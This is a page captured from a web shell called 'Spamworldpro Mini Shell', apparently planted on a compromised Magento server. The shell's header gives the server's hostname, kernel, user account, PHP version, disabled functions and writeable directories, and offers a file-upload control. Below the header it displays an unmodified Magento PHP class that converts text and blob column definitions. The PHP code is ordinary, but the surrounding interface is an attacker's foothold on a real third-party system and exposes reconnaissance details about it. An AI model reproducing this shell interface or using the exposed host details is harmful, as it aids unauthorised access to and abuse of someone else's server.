Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/framework/Setup/SchemaListenerDefinition/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/framework/Setup/SchemaListenerDefinition/TextBlobDefinition.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Framework\Setup\SchemaListenerDefinition;

use Magento\Framework\DB\Ddl\Table;

/**
 * Convert definition for all text/blob types: tiny-, medium-, long- text(s) and blob(s).
 */
class TextBlobDefinition implements DefinitionConverterInterface
{
    /**
     * Parse text size.
     *
     * Returns max allowed size if value great it.
     *
     * @param string|int $size
     * @return int
     */
    private function parseTextSize($size)
    {
        $size = trim($size);
        $last = strtolower(substr($size, -1));

        switch ($last) {
            case 'k':
                $size = (int)$size * 1024;
                break;
            case 'm':
                $size = (int)$size * 1024 * 1024;
                break;
            case 'g':
                $size = (int)$size * 1024 * 1024 * 1024;
                break;
        }

        if (empty($size)) {
            return Table::DEFAULT_TEXT_SIZE;
        }
        if ($size >= Table::MAX_TEXT_SIZE) {
            return Table::MAX_TEXT_SIZE;
        }

        return (int)$size;
    }

    /**
     * Retrieve type of column by it length.
     *
     * @param string $ddlType
     * @param int $length
     * @return string
     * @SuppressWarnings(PHPMD.CyclomaticComplexity)
     */
    private function getCTypeByLength($ddlType, $length)
    {
        if ($length > 0 && $length <= 255) {
            $cType = $ddlType == Table::TYPE_TEXT ? 'varchar' : 'varbinary';
        } elseif ($length > 255 && $length <= 65536) {
            $cType = $ddlType == Table::TYPE_TEXT ? 'text' : 'blob';
        } elseif ($length > 65536 && $length <= 16777216) {
            $cType = $ddlType == Table::TYPE_TEXT ? 'mediumtext' : 'mediumblob';
        } else {
            $cType = $ddlType == Table::TYPE_TEXT ? 'longtext' : 'longblob';
        }

        return $cType;
    }

    /**
     * @inheritdoc
     */
    public function convertToDefinition(array $definition)
    {
        $length = $this->parseTextSize($definition['length'] ?? 0);
        $ddlType = $definition['type'];
        $cType = $this->getCTypeByLength($ddlType, $length);

        $newDefinition = [
            'xsi:type' => $cType,
            'name' => $definition['name'],
            'nullable' => $definition['nullable'] ?? true,
            'primary' => $definition['primary'] ?? false
        ];

        if (in_array($cType, ['varchar', 'varbinary'])) {
            $newDefinition['length'] = $length;
            $newDefinition['default'] = $definition['default'] ?? null;
        }

        return $newDefinition;
    }
}

Spamworldpro Mini